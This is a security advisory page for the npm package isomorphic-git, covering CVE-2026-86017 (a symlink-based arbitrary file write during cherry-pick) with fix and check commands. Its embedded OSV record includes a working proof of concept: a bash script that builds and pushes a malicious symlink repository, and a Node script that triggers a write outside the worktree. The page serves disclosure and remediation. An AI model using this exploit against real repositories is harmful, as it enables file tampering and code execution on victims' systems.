Vulnerabilities in pkg:npm/isomorphic-git
PACKAGECVE-2026-86017 is a HIGH (CVSS 8.0) arbitrary file write vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting isomorphic-git libraries in the npm ecosystem. The issue involves arbitrary file write via symlink. Remediation is available by upgrading affected packages to version 1.38.8.
pkg:npm/isomorphic-git
Vulnerability advisories affecting package pkg:npm/isomorphic-git. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-pvh8-4vwp-j58p | CVE-2026-86017 | HIGH | isomorphic-git: Arbitrary File Write via Symlink |
| GHSA-6fxm-h49m-4fg3 | CVE-2026-77355 | HIGH | isomorphic-git: NTFS .git::$INDEX_ALLOCATION alias bypass writes into the active gitdir |
| GHSA-fgxq-p49f-qw99 | CVE-2021-30483 | MODERATE | Directory Traversal in isomorphic-git |
CVE-2026-86017 at a Glance
Security Impact
CVSS: 8.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-86017
To remediate this vulnerability, upgrade all affected isomorphic-git dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install isomorphic-git@1.38.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls isomorphic-git
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-86017, inspect your project dependencies using npm:
npm ls isomorphic-git
Analyze the terminal output to locate any version of isomorphic-git in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.38.8), your application is affected.
Note: The npm ls isomorphic-git command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In isomorphic-git, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-86017 Affected isomorphic-git Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
isomorphic-git
|
npm |
< 1.38.8
|
1.38.8
|
References
Frequently Asked Questions
What is CVE-2026-86017?
Which isomorphic-git versions are affected?
What version fixes CVE-2026-86017?
Is isomorphic-git affected?
What is the CVSS score of CVE-2026-86017?
What CWE is associated with CVE-2026-86017?
How can I check npm dependencies for CVE-2026-86017?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pvh8-4vwp-j58p",
"modified" : "2026-11-30T20:00:55Z",
"published" : "2026-11-30T20:00:55Z",
"aliases" : [ "CVE-2026-86017" ],
"summary" : "isomorphic-git: Arbitrary File Write via Symlink",
"details" : "### Summary\nThere is an **arbitrary file write vulnerability** in `isomorphic-git` (verified on `v1.38.7`). When applying tree changes during `git cherry-pick`, the helper `applyTreeChanges` materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as `link -> /` can later supply a cherry-pick tree containing `link/tmp/<file>`; `isomorphic-git` follows the symlink and writes the file outside the worktree. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe vulnerable logic is in `applyTreeChanges` at `src/utils/walkerToTreeEntryMap.js:260-295`. For every changed blob it builds the on-disk path and writes it directly:\n\n```javascript\n// src/utils/walkerToTreeEntryMap.js:260-295\n// apply the changes to work dir\nawait acquireLock({ fs, gitdir, dirRemoved, ops }, async () => {\n for (const op of ops) {\n const currentFilepath = join(dir, op.filepath)\n switch (op.method) {\n // ...\n case 'write':\n // only writes if file is not in the removedDirs\n if (\n !dirRemoved.some(removedDir =>\n currentFilepath.startsWith(removedDir)\n )\n ) {\n const { object } = await _readObject({\n fs,\n cache: {},\n gitdir,\n oid: op.oid,\n })\n // just like checkout, since mode only applicable to create, not update, delete first\n if (await fs.exists(currentFilepath)) {\n await fs.rm(currentFilepath)\n }\n await fs.write(currentFilepath, object) // only handles regular files for now\n }\n break\n }\n }\n})\n```\n\n`join(dir, op.filepath)` produces a path such as `/victim/link/tmp/isomorphic-git-poc-01`. When `link` is a tracked symlink to `/`, the subsequent `fs.write(currentFilepath, object)` follows the symlink and writes `/tmp/isomorphic-git-poc-01`. No call is made to the leading-path symlink guard that the main checkout code uses.\n\nThe main checkout routine protects the exact same operation with `assertNoSymlinkInLeadingPath` (`src/commands/checkout.js:30-43`):\n\n```javascript\n// src/commands/checkout.js:30-43\nasync function assertNoSymlinkInLeadingPath(fs, dir, fullpath) {\n const parts = fullpath.split('/')\n parts.pop() // the final segment is the entry being written, not a leading dir\n let current = dir\n for (const part of parts) {\n if (part === '' || part === '.') continue\n current = `${current}/${part}`\n const stats = await fs.lstat(current)\n // lstat returns null when the path doesn't exist yet (nothing to traverse).\n if (stats && stats.isSymbolicLink()) {\n throw new UnsafeFilepathError(fullpath)\n }\n }\n}\n```\n\nThat guard is invoked by the regular checkout path at `src/commands/checkout.js:251`, `:324` and `:731`, but it is **not** invoked by `applyTreeChanges`.\n\n\n### PoC\n1. Build/push the malicious repo:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nREMOTE_URL='ssh://git@127.0.0.1:222/admin/test-repo.git'\nBRANCH='isomorphic-poc'\nTARGET_DIR='/'\nMARKER_NAME='isomorphic-git-poc-01'\nMARKER_CONTENT='pwned by isomorphic-git'\nBUILD_BASE='./isogit-poc'\nREPO_DIR=\"$BUILD_BASE/repo\"\n\nOIDS_FILE=\"$(cd \"$(dirname \"$0\")\" && pwd)/poc-oids.env\"\n\nexport GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'\n\nlog() { echo \"[+] $*\" >&2; }\n\nreset_remote_branch() {\n local path=\"$1\"\n git init \"$path\" -q -b main\n git -C \"$path\" commit --allow-empty -m reset -q\n git -C \"$path\" push --force \"$REMOTE_URL\" \"main:$BRANCH\" >/dev/null 2>&1\n}\n\n# git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid\ngit_commit() {\n local repo=\"$1\" tree=\"$2\" parent=\"${3:-}\"\n local now tz author body_file oid\n now=$(date +%s)\n tz=$(date +%z)\n author=\"attacker <attacker@example.com> ${now} ${tz}\"\n body_file=$(mktemp)\n {\n echo \"tree $tree\"\n [ -n \"$parent\" ] && echo \"parent $parent\"\n echo \"author $author\"\n echo \"committer $author\"\n echo\n echo \"poc\"\n } > \"$body_file\"\n oid=$(git -C \"$repo\" hash-object -w -t commit --stdin < \"$body_file\")\n rm -f \"$body_file\"\n echo -n \"$oid\"\n}\n\nmain() {\n mkdir -p \"$BUILD_BASE\"\n local tmp_reset\n tmp_reset=$(mktemp -d)\n trap 'rm -rf \"${tmp_reset:-}\" \"$BUILD_BASE\"' EXIT\n\n reset_remote_branch \"$tmp_reset\"\n log \"reset remote branch $BRANCH\"\n\n rm -rf \"$REPO_DIR\"\n mkdir -p \"$REPO_DIR\"\n git init \"$REPO_DIR\" -q -b main\n ln -s \"$TARGET_DIR\" \"$REPO_DIR/link\"\n git -C \"$REPO_DIR\" add link\n git -C \"$REPO_DIR\" commit -q -m 'init symlink'\n local head_oid\n head_oid=$(git -C \"$REPO_DIR\" rev-parse HEAD)\n\n # Build the malicious tree: link/tmp/<marker>.\n local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid\n blob_oid=$(echo -n \"$MARKER_CONTENT\" | git -C \"$REPO_DIR\" hash-object -w --stdin)\n file_tree_oid=$(echo \"100644 blob $blob_oid\t$MARKER_NAME\" | git -C \"$REPO_DIR\" mktree)\n sub_tree_oid=$(echo \"040000 tree $file_tree_oid\ttmp\" | git -C \"$REPO_DIR\" mktree)\n mal_tree_oid=$(echo \"040000 tree $sub_tree_oid\tlink\" | git -C \"$REPO_DIR\" mktree)\n\n mal_commit_oid=$(git_commit \"$REPO_DIR\" \"$mal_tree_oid\" \"$head_oid\")\n git -C \"$REPO_DIR\" update-ref refs/heads/main \"$mal_commit_oid\"\n git -C \"$REPO_DIR\" push --force \"$REMOTE_URL\" \"main:$BRANCH\" >/dev/null 2>&1\n log \"pushed malicious commit $mal_commit_oid\"\n\n cat > \"$OIDS_FILE\" <<EOF\nHEAD_OID=$head_oid\nMAL_COMMIT_OID=$mal_commit_oid\nEOF\n}\n\nmain \"$@\"\n```\n\n2. Trigger the vulnerability through the SDK from a fresh clone:\n\n```js\nconst fs = require('fs')\n// Install isomorphic-git v1.38.7 locally before running this PoC:\n// npm install --no-save isomorphic-git@1.38.7\nconst { default: git } = require('isomorphic-git')\n\nconst REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'\nconst BRANCH = 'isomorphic-poc'\nconst VICTIM_DIR = './victim'\nconst OIDS_FILE = __dirname + '/poc-oids.env'\n\nfunction loadOids() {\n if (!fs.existsSync(OIDS_FILE)) {\n console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)\n process.exit(2)\n }\n const env = {}\n for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\\n')) {\n const m = line.match(/^([A-Z_]+)=(.*)$/)\n if (m) env[m[1]] = m[2]\n }\n if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {\n console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)\n process.exit(2)\n }\n return env\n}\n\nasync function main() {\n const { HEAD_OID, MAL_COMMIT_OID } = loadOids()\n\n fs.rmSync(VICTIM_DIR, { recursive: true, force: true })\n fs.mkdirSync(VICTIM_DIR, { recursive: true })\n\n console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)\n await git.clone({\n fs,\n http: require('isomorphic-git/http/node'),\n dir: VICTIM_DIR,\n url: REMOTE_URL,\n ref: BRANCH,\n singleBranch: true,\n noCheckout: true,\n })\n\n console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)\n await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })\n\n console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)\n await git.cherryPick({\n fs,\n dir: VICTIM_DIR,\n oid: MAL_COMMIT_OID,\n author: { name: 'poc', email: 'poc@example.com' },\n committer: { name: 'poc', email: 'poc@example.com' },\n })\n\n console.log('[+] done')\n}\n\nmain().catch(err => { console.error(err); process.exit(1) })\n```\n\n3. Verify the arbitrary write:\n\n```sh\n$ cat /tmp/isomorphic-git-poc-01\n# pwned by isomorphic-git\n```\n### Impact\nThis leads to an arbitrary file write relative to the filesystem root (or anywhere the symlink points), enabling data tampering, code injection into interpreted files, and other follow-on impact depending on the target path.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "isomorphic-git"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.38.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-pvh8-4vwp-j58p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-86017"
}, {
"type" : "WEB",
"url" : "https://github.com/isomorphic-git/isomorphic-git/pull/2377"
}, {
"type" : "WEB",
"url" : "https://github.com/isomorphic-git/isomorphic-git/commit/4664c8e1147c3c7ba87c027e92093d28607ef4c0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/isomorphic-git/isomorphic-git"
}, {
"type" : "WEB",
"url" : "https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-11-30T20:00:55Z",
"nvd_published_at" : "2026-11-20T19:18:55Z"
}
}